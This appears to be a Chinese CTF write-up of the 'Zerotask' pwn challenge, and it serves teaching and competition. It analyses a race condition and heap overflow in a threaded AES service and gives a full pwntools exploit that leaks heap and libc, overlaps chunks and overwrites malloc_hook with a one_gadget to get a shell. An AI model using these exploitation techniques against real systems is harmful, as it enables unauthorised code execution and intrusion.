第一天被llvm卡住了,没搜到源码,理不清内存分配机制,但是利用上只差一步,心态崩了,导致比赛周末只看了两道pwn,星期一上午临时又看了几个发现有的并不是太难,可惜没时间了
感受到做题顺序、查找能力、快速学习的重要性
比赛过程中只做出一道PWN,以后应该会复现其他的
Zerotask
Analyze
程序提供三个功能:
add:添加一个结构体并指明aes加密/解密
delete:清除指定task id的结构体
go:根据指定结构体的信息加解密</pre>
结构体通过链表在堆中存储
内部结构:
0->note_ptr
0x8->size
0x10->mode
0x14->size
0x34->IV
0x58->ctx_ptr
0x60->task_id
0x68->pre_struct
在go的过程中:
printf("Task id : ");
v1 = sub_1011();
for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
{
if ( v1 == *((_DWORD *)arg + 24) )
{
pthread_create(&newthread, 0LL, start_routine, arg);
return __readfsqword(0x28u) ^ v4;
}
}
调用一个新线程处理指定的结构体
跟进start_routine:
v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u);
memset(qword_202030, 0, 0x1010uLL);
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 88),
qword_202030,
&v1,
*(_QWORD *)v2,
(unsigned int)*(_QWORD *)(v2 + 8)) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL);
pthread_exit(0LL)
其首先获得需要处理的结构体指针,而后会sleep(2)(条件竞争)
因此我们可以在sleep时改写此结构体所在chunk,使其处理我们构造的fake_chunk
因为go操作的三次限制,所以我的思路:
leak heap:首先go启动,在sleep过程中进行free chunk等操作,用以获得目标地址因为free产生的堆指针
leak libc:首先构造一个unsorted bin,用以获得指向main arena+88处的指针,而后堆地址已知,利用leak heap相同方法伪造将要处理的chunk即可leak main_arena,即可leak libc
heap overflow:在加解密过程中,程序使用最开始分配的一个0x1010大小的chunk作存储,但是加解密时数据的长度由处理的结构体中的size决定,因此我们可以伪造一个结构体,其中encrypt_code_size大于0x1010,并且指向我们在内存中构造的一串数据,此数据code需要满足
aes_cbc_encrypt(code)=_the_answer_we_want,具体构造过程可以参照cbc模式下加密的特点:
构造方法参考我之前的文章:
https://kirin-say.top/2019/01/15/EDU%20CTF%202019/#0x02-encrypted-secret
最后选择利用溢出覆盖下一个chunk的size位为0x320,这时候free掉此chunk,此chunk下就会包含另一个0x80大小的chunk造成堆重叠,此时我们申请一个0x318大小的chunk改写包含的0x80的chunk的fd指针到malloc_hook,而后申请一个0x78大小的note,此note即会分配到malloc_hook,覆盖其为one_gadget,再次malloc即可get_shell
EXP:
from pwn import *
from Crypto.Cipher import AES
context.log_level="debug"
import time
def xor(a,b):
s=""
for i in range(len(a)):
s+=chr(ord(a[i])^ord(b[i]))
return s
def encrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.encrypt(message)
def decrypt(message):
kirin=AES.new(key1,AES.MODE_CBC,key2)
return kirin.decrypt(message)
def encrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.encrypt(message)
def decrypt2(message):
kirin=AES.new(key1,AES.MODE_ECB)
return kirin.decrypt(message)
def add(ID,mode,key,IV,dsize,note,go=False):
if go:
p.sendline("1")
else:
p.sendlineafter("Choice: ","1")
p.sendlineafter("Task id : ",str(ID))
p.sendlineafter("Encrypt(1) / Decrypt(2): ",str(mode))
p.sendafter("Key : ",key)
p.sendafter("IV : ",IV)
p.sendlineafter("Data Size : ",str(dsize))
p.sendafter("Data : ",note)
def delete(ID,go=False):
if go:
p.sendlineafter("Prepare...\n","2")
else:
p.sendlineafter("Choice: ","2")
p.sendlineafter("Task id : ",str(ID))
def go(ID):
p.sendlineafter("Choice: ","3")
p.sendlineafter("Task id : ",str(ID))
#p=process("./zerotask")
p=remote("111.186.63.201",10001)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
delete(1)
delete(1)
go(1)
delete(1,True)
add(1,1,"a"*32,"a"*16,0x70,"0"*0x60)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(8):
key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
message+=chr(int(i,16))
k=decrypt(message)[-24:-18]
heap_addr=u64(k.ljust(8,"\x00"))
chunk=heap_addr+0x555555758ee0-0x555555758280
ctx_addr=heap_addr-0x555555758280+0x00005555557585a0
#leak libc
print hex(heap_addr)
p.send("0"*0x10)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
add(1,1,"a"*32,"a"*16,0x500,"0"*0x500)
delete(1)
delete(1)
add(10,1,"a"*32,"a"*16,0x50,"1"*0x50)
#gdb.attach(p)
add(2,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(1,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(1)
delete(1,True)
delete(2)
fake=p64(chunk)+p64(0x10)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
p.recvuntil("Ciphertext: \n")
key1="a"*32
key2="a"*16
key3=""
for i in range(2):
key3+=p.recvuntil("\n")[:-1]
key3=key3.split(" ")
message=""
for i in key3:
message+=chr(int(i,16))
k=decrypt(message)
libc_addr=u64(k[:8])
print hex(libc_addr)
fake_encode_addr=heap_addr-0x555555758280+0x555555758520
fake_addr=heap_addr-0x555555758280+0x555555759430
key1="1"*32
key2="1"*16
dest="\x00"*8+p64(0x320)
src="\x00"*0xf00+"\x00"*8+p64(0xf11)+"\x00"*0xf0
magic=encrypt(src)[-16:]
magic2=decrypt2(dest)
s1=xor(magic,magic2)
s2=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),dest)
s3=xor(decrypt2(p64(fake_encode_addr)+p64(0x320)),p64(fake_encode_addr)+p64(0x320))
fake_code="\x00"*0xf00+p64(0)+p64(0xf11)
add(5,1,"a"*32,"a"*16,0x200,"\x00"*0x200,True)
add(6,1,"a"*32,"a"*16,0xf00,"\x00"*0xf00)
delete(5)
add(7,1,"a"*32,"a"*16,0xf00,"\x00"*0xf0+s1+s2+s3+"\x00"*(0xf00-0x120))
ctx_addr=heap_addr-0x555555758280+0x000055555575b2d0
add(100,1,"1"*32,"1"*16,0x50,"0"*0x50)
add(9,1,"a"*32,"a"*16,0x50,"0"*0x50)
add(10,1,"a"*32,"a"*16,0x50,"0"*0x50)
go(10)
delete(10,True)
delete(9)
fake=p64(fake_addr)+p64(0x1030)+p64(0x6161616100000001)+p64(0x6161616161616161)*5+p64(0x0000000061616161)+p64(0)+p64(0)+p64(ctx_addr)+p64(1)+p64(0)+p64(0)
add(1,1,"a"*32,"a"*16,0x78,fake)
time.sleep(2)
for i in range(3):
delete(1)
delete(10)
malloc_hook=libc_addr-0x7ffff776dca0+0x7ffff776dc30
one_gadget=libc_addr-0x7ffff776dca0+0x7ffff7382000+0x10a38c
add(200,1,"1"*32,"1"*16,0x318,"\x00"*0x2a0+p64(malloc_hook)+"\x00"*(0x318-0x2a8))
add(200,1,"1"*32,"1"*16,0x78,p64(one_gadget)+"\x00"*0x70)
#gdb.attach(p)
p.interactive()
网友评论